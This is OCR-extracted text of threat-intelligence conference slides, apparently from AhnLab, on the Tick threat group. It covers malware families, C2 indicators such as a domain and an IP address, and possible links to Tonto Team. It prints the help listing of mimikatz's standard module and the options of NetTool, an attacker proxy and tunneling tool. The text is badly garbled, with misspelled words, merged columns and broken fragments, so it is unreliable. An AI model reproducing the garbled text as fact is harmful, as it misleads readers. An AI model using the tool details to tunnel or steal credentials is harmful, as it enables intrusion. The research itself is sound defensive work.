ERROR mimikatz_doLocal ; "a'" command of "standard" module not found *

standard
Standard module
Basic commands Cdoesz not require module name?

exit — Quit mimikatz
cls Clear screen tdoesn’t work with redirections, like PsExec?
ansuep Answer to the Ultimate Question of Life. the Universe. and

Pleaze,. make me a coffeet

Sleep an amount of milliseconds

Log mimikatz inputsoutput to file

Switch file input-soutput basebd

Display some version informations

Change or display current directory

Displavs sysztem local date and time (0J command>
Displavs system local hostname

version
cd
localtime
hosztname




NetTool ’ Ahnlab

* NetTool (1,051,648 ~ 4,168,192 bytes)

- Initially discovered in early September, 2018
- Major file names : comhost.exe, conhOst.exe, dilhOst.exe, dt.tmp, spoolsv.exe, taskhOst.exe, w3wp.exe

-0.10 alpha : 32 bit, 1.34 : 64 bit

c iwwork>taskhbzt .exe —help ¢ :“work>snost ——help

Usage of taskhBst.exe: Usage of snost:
—action string —action string . . . . .
for client control server, cisz: for client to control sewrver, if action iz socksS.remote is socksh

if i ddr like 127.8.8.1:22. server, if iz addr like 127.@.@.1:22, remote server is a port redirect server,. c
ﬁdp?ﬁ ghe:d ﬁrsute" iz for traﬁggga" use "udp:" ahead.route" iz for transparent socks, client default socksh,. se
: ver default empty.if server's action is not empty, it will force clients's actio

—auth string = ¥ :
key for auth n=server’s action

—cache -1 C: reverse mode ., if true, client 's "“"-local" address will he listened o
(valid in socks5 mode)if ¢ server side
hod into caches dir.cache regquest| —routen int
tps c: threads<oszs—threads? num for route mode to parse real—-addr <default 1
—debug int . .
more output log —service string .
I - - - - 1. cs: listen addr for client connect

_dreuerse mode . if true. cli —session_timeout int
ruEr S10e eri c: if > B, session will check itself if it’s alive. if no msg tranfer fo
SEPUliisieﬁlggdr for client con® S°M€ seconds, socket will bhe closed. use this to avoid of =zomhie tcp sockets
. : . —smartM int
—sesslon_timeout 1int c: if >B, smart mode opentijust for socksS or route model.it means how mao

ig > 8, i3§31?21”§11 ihecsny requests of the zame url at least are needed for syz to decide vhether regues
ome zeconds,. socket wi e closede” ing locally or remotely

~tcp —spPC

use tcp to replace udp
—thread int

replace of GOMAXPROCS (def
—timeout int

udp pipe set timeout<secon
—u verhoze mode
—version

show verszion
—xor string

¥or key.c/2 must use a so

c: wvhether logging src ip. Just for tcp redirection
—tcp
cs: use tcp to replace wdp
—timeout int
c: udp pipe set timeout{seconds? {default 188>
—u ciz: verbose mode
—wersion
cis: show version
—xor string
cs: xor key.css must use a some key
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Connections

O I s

Builders

Gofarer

Ghostdown

OOC OOC softi.co.kr | =—

Ghostdown Bisodown /)o(\ Download
(=__oc°]

OSSR
Signed b — O
: ¢ = OOC same Encoding /‘)C OC OC OC

Heruida Electronic Technology =5 =
Daserf Netboy Ghostdown

OOC—OOC—OOC

Daserf Netboy  Ninezero

xS e
wce.exe

@)
@)
NC OC/\’JOC

: % Bisodown Datper Emdivi
mimikatz (mi.exe, m3.exe) 5\

Bisonal Tick

campaign "Blue termite"



Connections

e Correlations with C2

- amamihanahana.com : Xxmm, Datper

- 211.13.196.164 : Datper, Emdivi (campaign Blue termite)

THURSDAY, OCTOBER 18, 2018

This blog s authored by Ashlee Benge and Jungsoo An, with contributions from Dazhuo Li.

d and control (( to differing c

ving to the same IP. > inf : terns indicate similar tween the D
backdoor, and Emdivi malware families. In this we will dive into these parallels and examine the methods

used by this actor.

* Source : https://blog.talosinteligence.com/2018/10/racking-tick-through-recent-campaigns.html
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Remaining Tasks

» the Tick Group is a threat actor that has been active in Korea and Japan for the past 10 years !

*Question 1. Are they the same group?

- Existence of Malware Builder

- Same code reused

* Question 2. Connection to Tonto Team

- Some malware are simultaneously used

- Some infrastructures, such as C&C, are shared

- What is the connection between these Groups? - Collaboration? Same Group? Coincidence?
* Necessity of Collaboration

- Collaboration required between the researchers of Korea and Japan, who are experiencing similar active attacks



Contact Ahnlab

Thank youl!

CHA Minseok (Jacky)

minseok.cha@ahnlab.com
mstoned/7@gmail.com

W @mstoned?
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